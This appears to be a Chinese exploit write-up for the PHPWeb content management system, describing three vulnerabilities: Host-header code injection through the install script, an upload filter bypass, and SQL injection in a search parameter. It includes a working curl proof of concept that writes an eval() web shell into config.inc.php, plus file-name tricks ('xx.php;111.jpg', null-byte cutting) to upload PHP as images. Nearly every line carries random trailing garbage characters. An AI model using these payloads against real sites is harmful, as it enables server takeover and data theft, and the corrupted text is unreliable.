注入:- a. F- ?0 { U/ X, ]2 z3 v4 R
: |: Q- X7 m; U5 Y
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码 ~- s3 D O" ^
5 J" ^" \/ O2 ~7 m鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
8 A0 t7 h" @) K! Y& N0 k3 `& W鸡肋2: 有一定安全常识的站长都会删掉 install 目录5 v5 \" E, ~3 g
8 b( ~! S6 s0 x' f% S
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
- {5 Y' Z9 d+ `$ S2 O
4 s9 g6 w8 F* T! {/ v# g8 V* \分析:
, F4 D: J2 O- g8 C% ?
; ^& {" E K) _& ~9 Y! a" ?% j0 C
& n# @/ V; W; R- x7 Z$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤, U W6 I+ A. l
1 ?) Q; w# A2 g$ m/ P $filestr = fread(fopen($SysConfigFile, 'r'),30000);
3 v1 Y( f& O% D4 ^9 h `8 j5 B $filestr=str_replace(" ","",$filestr);2 g& ~. D& F- c0 ]% D X* X" o
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
1 h# F6 J7 y: h' M) n $filestr=str_replace("DefaultDbName",$dbname,$filestr);' X* B/ W0 s* V5 Z& t
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);' \" c( P" \0 i# {0 e
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);- f' |1 M! L( k1 e- X4 y* h& v
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);& _) b* A! N- L1 [
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
! r: _$ b) G5 _# [5 s $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
! n2 e! m7 w/ a" w! ?/ s
0 a5 N7 A# O7 Q9 q$ J; B4 d fwrite(fopen($ConFile,"w"),$filestr,30000);
4 ^8 x+ y# t! C, [9 B0 G$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^0 F- N3 D& }7 @
& c: U% X* }. @% g! }+ {
poc:
- r8 |9 R, f6 y5 V: ?' @; i+ z& e
4 k* q: j. o( i* }6 {$ t7 s8 I! J?0 ^6 x- _! p& z$ P u) A! R2 H
1
5 f ]2 V2 U3 a; @/ z- w/ z0 Scurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
/ s# K2 K& S$ r( \shell地址: /config.inc.php' W6 h5 H! q4 ^! i0 T3 ]
跟之前的 phpcms一样 需要远程数据库
/ q/ `+ `# d6 A# U5 W6 D 7 v5 G. `- j4 ^9 \
——————————————————–
* ]' ~# t& e# C+ T3 ?3 h上传漏洞(需要进后台):0 Q5 x4 w8 f/ C+ Z, O
漏洞文件: /kedit/upload_cgi/upload.php
5 q. H' e) ~' b6 M: d( x这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
$ G4 M/ K. [9 [2 @1 k 2 g, ] Z8 I4 n( O# @; U
/ l& g6 \6 k3 W3 h: w# ]' o1 t2 J<?php
: @% F% v, p# y: f% G3 X5 j& q define("ROOTPATH", "../../");( T# H* w6 R3 @ T6 P
include(ROOTPATH."includes/admin.inc.php");3 T* z: w0 o; w4 o" V+ }1 W6 Z, m) B! n1 c
NeedAuth(0);4 ?3 V& K2 X/ b2 |% q2 r- S5 m
, Q9 n x1 K' a) O. d( r2 j
$dt=date("Ymd",time());
3 |: N8 s8 g0 b5 t8 n% F1 t' | if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
# W1 k1 Z( O/ W m5 ~ V& e8 [9 `9 h @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
, o% R: J$ }0 B9 p }& X$ K. b- n4 E- {% ~
3 w6 d& D3 `5 e+ h% C
//文件保存目录路径3 E4 v4 F7 y3 Y+ s' J
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
" E3 k A; @: M) i1 f. j echo $save_path;0 M8 Z, b( _) B0 W, E7 V
//文件保存目录URL
$ a, j) f; Q) M; W $save_url = '../../'.$_POST['attachPath'].$dt.'/';
/ D8 l0 L4 q( U9 F& ^& n$ ?
5 a5 ]5 N1 V& W; F; j3 r. ~" ^& X //定义允许上传的文件扩展名
) D2 }* _' x9 {/ X $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
3 {2 X* v$ x% h" t8 W
$ ]( L7 s& m3 A# N' Z7 T //最大文件大小
% ~4 O' d q( m5 j" o0 S/ t $max_size = 1000000;/ n b$ f7 m+ \. z
" u" _: g1 J* v g+ q5 v, P3 q
//更改目录权限& {0 ]5 Z% O. w# x& w! {
@mkdir($save_path, 0777);
0 S# {1 z! [: f0 A* M( t ) ^; e9 K' j: l0 A7 U R" b
//文件的全部路径
! R4 u; E& o% c $file_path = $save_path.$_POST['fileName']; //保存文件名% J9 ^8 h4 T1 v: Y$ @$ r4 h3 {1 i
7 F9 X, l, T4 I( p4 a _ //文件URL
0 [* l/ @6 Z& I+ \; r ~- b $file_url = $save_url.$_POST['fileName'];4 X4 O, E Z. k5 z
//有上传文件时' A! V4 p# \, B/ Q2 h' v
if (empty($_FILES) === false) {6 w' S/ t" Z. C! T; g% v
/ b! Z1 l! e" o( g' I //原文件名
" y% P. S8 w( M' W1 ` $file_name = $_FILES['fileData']['name'];0 T: g1 P7 B7 c# f8 I( p5 N
//服务器上临时文件名# Y' B C1 ]7 z- Y9 a/ _- j* \9 @+ m
$tmp_name = $_FILES['fileData']['tmp_name'];
0 R* }2 V% S/ t' O7 V# ^% C% j# J //文件大小
/ Y) K+ k# \+ O4 q' Q* s $file_size = $_FILES['fileData']['size'];
& X$ V1 q$ Y+ p0 t //检查目录
. f( H# s( R" _ if (@is_dir($save_path) === false) {
+ d+ z: U, N0 W3 y: f alert("上传目录不存在。");2 Q% t3 S& F7 m: y
}5 P5 I, a0 h+ y ^
//检查目录写权限
; B0 A B( F! o% r& C if (@is_writable($save_path) === false) {
- z1 q" w! T. |# d. V/ g2 H alert("上传目录没有写权限。");1 R! C. w5 G" _! `* V1 {
}+ f* w I u1 P! [7 y$ U
//检查是否已上传8 F5 T! L* i. H# T% f. N
if (@is_uploaded_file($tmp_name) === false) {
0 h; L$ C' m' R7 U' R alert("临时文件可能不是上传文件。");9 O. v6 D. m; G5 l% f" Z, C% o
}+ h+ v' l8 G: d: ^; G
//检查文件大小4 Q; Y' q: Y: e7 k' V7 P
if ($file_size > $max_size) {
0 M7 b. m. t! }+ D9 Q alert("上传文件大小超过限制。");
2 b1 V7 p/ j+ x* x& t2 `. k8 s }
7 V5 ~6 N/ `" k6 Q //获得文件扩展名
3 }* ^$ k! [1 o $temp_arr = explode(".", $_POST['fileName']);' T/ p( r( M) {8 |" o5 J
$file_ext = array_pop($temp_arr);3 j8 B4 {* W; D. Q* } E7 ~3 f5 Z
$file_ext = trim($file_ext);4 D: E6 i2 W; N( R' W; w
$file_ext = strtolower($file_ext);0 H/ @* T5 a3 V
& b6 V0 v% v% l$ u/ T //检查扩展名 ) f3 n4 {2 H2 ~. L! T$ m) i6 S. l
if (in_array($file_ext, $ext_arr) === false) {
/ N) ?* C' k' {/ G# W9 _3 f! m alert("上传文件扩展名是不允许的扩展名。");) z& W R4 e. p5 W
}3 {8 l. @; ~* f+ c
: t, |: [, c, n9 @" M0 a Q
//移动文件 ( T1 n; {) g8 O) E# s+ o! p
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
* v( x- Z% ^/ }& u+ N' S \ if (move_uploaded_file($tmp_name, $file_path) === false) {% y1 b* b& c! A* l4 I
alert("上传文件失败。");
; M9 B& c$ W) @6 Q: f1 C$ H; M }
9 E$ j4 F+ V D& A 3 o( ~* F0 x! @8 u6 g/ Z
@chmod($file_path,0666);) a9 P' _3 h6 v8 q& H* U+ e
1 h& s& t6 T. V ?>$ K! k1 Z+ S, z) h& H) o3 G" H0 \
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
. l! c# [- I8 H* z6 u! {3 ` 8 a% Z. A y9 S& F
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过! Y: ^) G$ W3 T) o) l' M$ y, e. t R
0 C# {7 i! t$ {) M9 l; g a
——————————————————' J/ s2 v, m6 c& V b
注入漏洞:7 O! X z! \5 ]- I0 G P" r
漏洞文件:search/module/search.php
2 s! A- g* s7 L% s0 v; c4 b/search/index.php?key=1&myord=1 [sqlinjection]
6 |) i n9 N0 I3 C! b0 b " [1 B1 v' m5 }# _
* w+ s6 A) s( @9 Z5 O+ q7 m$ T
<?php
1 B2 h7 G* z' M // ... 省略 n 行...
6 p6 z; X# H( L! b //第18行:
^) @4 c/ D1 R4 y $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
' t( k5 F% r7 B" ^ $page=htmlspecialchars($_GET["page"]);; L, k) b2 K9 `6 _2 H! ~
$myord=htmlspecialchars($_GET["myord"]);
+ P7 T: Q4 Y( q' e& |5 k
e/ q1 U2 L$ ~% A6 f( v // ... 省略 n 行...
8 N* [; {! \& q2 Z $key,$myord 两个参数带入查询
8 `- @% C v& ~ //第47行 $key:* O w5 w8 t- g' r4 ~
/ d" O- a/ \ U $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
* [+ ]; u. q# m" _& l: S% x7 L 4 r0 `* Z1 M8 A% i8 |1 j& l
//第197行 $myord( ?; r3 I+ q* k2 |0 K
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
' I9 A; m: E3 W% n$ K
0 t* o4 A0 |7 ]% ] ?>
7 D4 y. a0 v# A" n% ~ |